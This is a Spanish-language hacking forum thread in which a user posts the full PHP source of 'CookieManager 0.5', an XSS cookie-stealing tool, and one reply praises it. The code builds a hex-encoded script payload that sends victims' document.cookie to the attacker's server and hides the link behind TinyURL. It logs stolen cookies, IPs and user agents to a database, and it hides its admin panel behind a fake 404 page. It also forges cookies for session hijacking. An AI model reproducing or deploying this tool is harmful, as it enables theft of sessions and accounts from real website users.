Abril 26, 2018, 08:53:57 am

Autor Tema: [PHP] CookieManager 0.5  (Leído 1374 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • Yo vivo en CPH
  • ***
  • Mensajes: 736
  • Sexo: Masculino
    • Ver Perfil
[PHP] CookieManager 0.5
« en: Febrero 06, 2015, 11:10:12 am »
Un simple programa en PHP para ayudar con la vulnerabilidad XSS , en este programa tienen las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login


Un video con ejemplos de uso :

You are not allowed to view links. Register or Login

El codigo :

Código: (php) You are not allowed to view links. Register or Login
<?php

// CookieManager 0.5
// (C) Doddy Hackman 2015

//Datos para el login

$username "admin";
$password "21232f297a57a5a743894a0e4a801fc3"//admin

//

//Datos para la DB

$host  "localhost";
$userw "root";
$passw "";
$db    "cookies";

//


// Functions

function hex_encode($text)
{
    
$texto chunk_split(bin2hex($text), 2'%');
    return 
$texto '%' substr($texto0strlen($texto) - 1);
}

function 
parsear_cookie($leyendo)
{
    
    
$leyendo   str_replace("comment="""$leyendo);
    
$leyendo   str_replace("Set-Cookie: """$leyendo);
    
$contenido explode(";"$leyendo);
    
    
$nombre       "";
    
$valor_cookie "";
    
$expires      "";
    
$path         "";
    
$domain       "";
    
$secure       "false";
    
$httponly     "false";
    
    foreach (
$contenido as $valor) {
        
        if (
preg_match("/expires=(.*)/"$valor$regex)) {
            
$expires $regex[1];
        }
        
        elseif (
preg_match("/path=(.*)/"$valor$regex)) {
            
$path $regex[1];
        } elseif (
preg_match("/domain=(.*)/"$valor$regex)) {
            
$domain $regex[1];
        } elseif (
preg_match("/secure=(.*)/"$valor$regex)) {
            
$secure $regex[1];
        } elseif (
preg_match("/httponly=(.*)/"$valor$regex)) {
            
$httponly $regex[1];
        }
        
        else {
            
            if (
preg_match("/(.*)=(.*)/"$valor$regex)) {
                
$nombre       $regex[1];
                
$valor_cookie $regex[2];
            }
            
        }
        
    }
    
    return array(
        
$nombre,
        
$valor_cookie,
        
$expires,
        
$path,
        
$domain,
        
$secure,
        
$httponly
    
);
    
}

function 
ver_cookies_de_pagina($pagina)
{
    
$cookies "";
    if (!
function_exists('curl_exec')) {
        
$options = array(
            
'http' => array(
                
'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
            
)
        );
        
$context stream_context_create($options);
        
file_get_contents($pagina);
        foreach (
$http_response_header as $valores) {
            if (
preg_match("/Set-Cookie/"$valores)) {
                
$valores str_replace("Set-Cookie:"""$valores);
                
$cookies $cookies $valores "<br>";
            }
        }
    } else {
        
$nave curl_init($pagina);
        
curl_setopt($naveCURLOPT_TIMEOUT5);
        
curl_setopt($naveCURLOPT_RETURNTRANSFER1);
        
curl_setopt($naveCURLOPT_USERAGENT"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
        
curl_setopt($naveCURLOPT_HEADER1);
        
curl_setopt($naveCURLOPT_NOBODY1);
        
$contenido curl_exec($nave);
        
curl_close($nave);
        
$leyendo explode("\n"trim($contenido));
        
        foreach (
$leyendo as $valores) {
            if (
preg_match("/Set-Cookie/"$valores)) {
                
$valores str_replace("Set-Cookie:"""$valores);
                
$cookies $cookies $valores "<br>";
            }
        }
    }
    return 
$cookies;
}

function 
toma($target)
{
    
$code "";
    if (
function_exists('curl_exec')) {
        
$nave curl_init($target);
        
curl_setopt($naveCURLOPT_USERAGENT'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
        
curl_setopt($naveCURLOPT_TIMEOUT5);
        
curl_setopt($naveCURLOPT_RETURNTRANSFERtrue);
        
$code curl_exec($nave);
    } else {
        
$options = array(
            
'http' => array(
                
'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
            
)
        );
        
$context stream_context_create($options);
        
$code    file_get_contents($target);
    }
    return 
$code;
}

//

error_reporting(0);

mysql_connect($host$userw$passw);
mysql_select_db($db);

if (isset(
$_GET['id'])) {
    
    if (empty(
$_GET['id'])) {
        
error();
    }
    
    
$dia mysql_real_escape_string(date("d.m.Y"));
    
$ip  mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
    
    if (
$ip == "::1") {
        
$ip "127.0.0.1";
    }
    
    
$info mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
    
$ref  mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
    
    
$cookie mysql_real_escape_string($_GET['id']);
    
    
mysql_query("INSERT INTO todo(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
    
    
header("Location:http://www.google.com.ar");
    
}

elseif (isset(
$_COOKIE['portal'])) {
    
    
$st base64_decode($_COOKIE['portal']);
    
    
$plit explode("@"$st);
    
$user $plit[0];
    
$pass $plit[1];
    
    if (
$user == $username and $pass == $password) {
        
        if (isset(
$_POST['makecookies'])) {
            
//setcookie($_POST['name_cookie'],$_POST['value_cookie'],$_POST['expire_cookie'],$_POST['path_cookie'],$_POST['domain_cookie'],$_POST['secure_cookie'],$_POST['httponline_cookie'])) {
            
            
if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200$_POST['path_cookie'], $_POST['domain_cookie'])) {
                echo 
"<script>alert('Cookies Maked');</script>";
            } else {
                echo 
"<script>alert('Error making Cookie');</script>";
            }
        }
        
        echo 
"<title>CookieManager 0.3</title>";
        
        echo 
"<STYLE type=text/css>

body,a:link {
background-color: #000000;
color:orange;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;
color:orange; 
border: solid 1px orange;
border-color:orange
}

a:link,a:visited,a:active {
color: orange;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>
"
;
        
        
$edit_name       "";
        
$edit_value      "";
        
$edit_expire     "";
        
$edit_path       "";
        
$edit_domain     "";
        
$edit_secure     "";
        
$edit_httponline "";
        
        if (isset(
$_POST['instalar'])) {
            
            
$todo "create table todo (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
fecha TEXT NOT NULL,
ip TEXT NOT NULL,
info TEXT NOT NULL,
cookie TEXT NOT NULL,
PRIMARY KEY (id));
"
;
            
            if (
mysql_query($todo)) {
                echo 
"<script>alert('Installed');</script>";
            } else {
                echo 
"<script>alert('Error');</script>";
            }
        }
        
        if (
mysql_num_rows(mysql_query("show tables like 'todo'"))) {
            
            
//
            
            
if (isset($_GET['del'])) {
                if (
is_numeric($_GET['del'])) {
                    if (@
mysql_query("delete from todo where id='" $_GET['del'] . "'")) {
                        echo 
"<script>alert('Deleted');</script>";
                    } else {
                        echo 
"<script>alert('Error');</script>";
                    }
                }
            }
            
            echo 
"<center>";
            echo 
"<br><h1>CookieManager</h1><br>";
            
            
            
// Cookies Found
            
            
            
$re  mysql_query("select * from todo order by id ASC");
            
$con mysql_num_rows($re);
            
            if (
$con == 0) {
                echo 
"<script>alert('Cookies not found');</script>";
            } else {
                
                echo 
"<table border=1 width=1100><td width=1100><center><h2>Cookies Found : $con</h2></center></table>";
                echo 
"<table border=1 width=1100>";
                echo 
"<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
                
                while (
$ver mysql_fetch_array($re)) {
                    
$cookies_view $ver[4];
                    list(
$nombre$valor_cookie$expires$path$domain$secure$httponly) = parsear_cookie($cookies_view);
                    
                    echo 
"<td>" htmlentities($ver[0]) . "</td><td>" htmlentities($ver[1]) . "</td><td>" htmlentities($ver[2]) . "</td><td>" htmlentities($ver[3]) . "</td>";
                    echo 
"<td>" htmlentities($cookies_view) . "</td><td>" htmlentities($nombre) . "</td><td>" htmlentities($valor_cookie) . "</td><td><a href=?del=" htmlentities($ver[0]) . ">Del</a></td><tr>";
                    
                }
                
                echo 
"</table>";
                
            }
            
            
//
            
            // Form para target
            
            
echo "
<form action='' method=POST>
<center><br><table border=1>
<td><center><h2>Enter Target</h2></center></td><tr>
<td><input type=text size=50 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
<td><input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'><input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
</table></center>
</form>

"
;
            
            
// URLS
            
            
if (isset($_POST['generateurl'])) {
                echo 
"<br><table border=1>
<td><center><h2>URL Generated</h2></center></td><tr>
<td><textarea cols=50 name=code readonly>\n"
;
                
$script         hex_encode("<script>document.location='http://" $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
                
//echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
                
$resultado_code toma("http://tinyurl.com/api-create.php?url=" $_POST['target'] . $script);
                echo 
htmlentities($resultado_code);
                echo 
"\n</textarea></td></table>";
            }
            
//
            
            // Get Cookies 
            
            
if (isset($_POST['getcookies'])) {
                echo 
"<br><table border=1>
<td><center><h2>Console</h2></center></td><tr>
<td><textarea cols=50 rows=10 name=code readonly>\n"
;
                
$resultado_code ver_cookies_de_pagina($_POST['target']);
                echo 
htmlentities($resultado_code);
                echo 
"\n</textarea></td></table>";
                
                
$leyendo_esto split("\n"$resultado_code);
                
                list(
$nombre$valor_cookie$expires$path$domain$secure$httponly) = parsear_cookie($leyendo_esto[0]);
                
                
$edit_name       $nombre;
                
$edit_value      $valor_cookie;
                
$edit_expire     $expires;
                
$edit_path       $path;
                
$edit_domain     $domain;
                
$edit_secure     $secure;
                
$edit_httponline $httponly;
                
            }
            
            
//
            
            // Form para crear cookies
            
            
echo "
<form action='' method=POST>
<center><br><table border=1>
<td><center><h2>Cookies Maker</h2></center></td><tr>
<td>Name : <input type=text size=50 name=name_cookie value='
$edit_name'=></td><tr>
<td>Value : <input type=text size=50 name=value_cookie value='
$edit_value'=></td><tr>
<td>Expires : <input type=text size=50 name=expire_cookie value='
$edit_expire'=></td><tr>
<td>Path : <input type=text size=50 name=path_cookie value='
$edit_path'=></td><tr>
<td>Domain : <input type=text size=50 name=domain_cookie value='
$edit_domain'=></td><tr>
<td>Secure : <input type=text size=50 name=secure_cookie value='
$edit_secure'=></td><tr>
<td>HTTP Online : <input type=text size=50 name=httponline_cookie value='
$edit_httponline'=></td><tr>
<td><input type=submit name=makecookies style='height: 25px; width: 100px' value='Make Cookies'></td>
</table></center>
</form>"
;
            
            
//
            
            //
            
            
echo "<br><h1>(C) Doddy Hackman 2015</h1><br><br>";
            
            
//
            
        
} else {
            echo 
"
<center><br><br>
<form action='' method=POST>
<h2>Deseas instalar CookieManager ?</h2><br><br>
<input type=submit name=instalar value=Instalar>
</form>"
;
        }
        exit(
1);
    }
} elseif (isset(
$_POST['login'])) {
    if (
$_POST['user'] == $username and md5($_POST['password']) == $password) {
        
setcookie("portal"base64_encode($_POST['user'] . "@" md5($_POST['password'])));
        echo 
"<script>alert('Welcome idiot');</script>";
        echo 
'<meta http-equiv="refresh" content=0;URL=>';
    } else {
        echo 
"<script>alert('Continued to participate');</script>";
    }
} elseif (isset(
$_GET['poraca'])) {
    
    echo 
"

<STYLE type='text/css'>

body,input {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>

<h1><br><center><font color=green>Login</font></center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=password name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>"
;
} else {
    
    
error();
    
}

function 
error()
{
    echo 
'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>'
;
    exit(
1);
}


mysql_close();

// The End ?


?>


Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. Register or Login.
You are not allowed to view links. Register or Login.

Desconectado Jety

  • Me das tu IP?
  • *
  • Mensajes: 59
    • Ver Perfil
Re:[PHP] CookieManager 0.5
« Respuesta #1 en: Febrero 06, 2015, 11:24:09 am »
Estas son los aportes que merecen un premio!


exclamation
CookieManager 0.3

Iniciado por BigBear

0 Respuestas
594 Vistas
Último mensaje Enero 31, 2012, 02:55:23 pm
por BigBear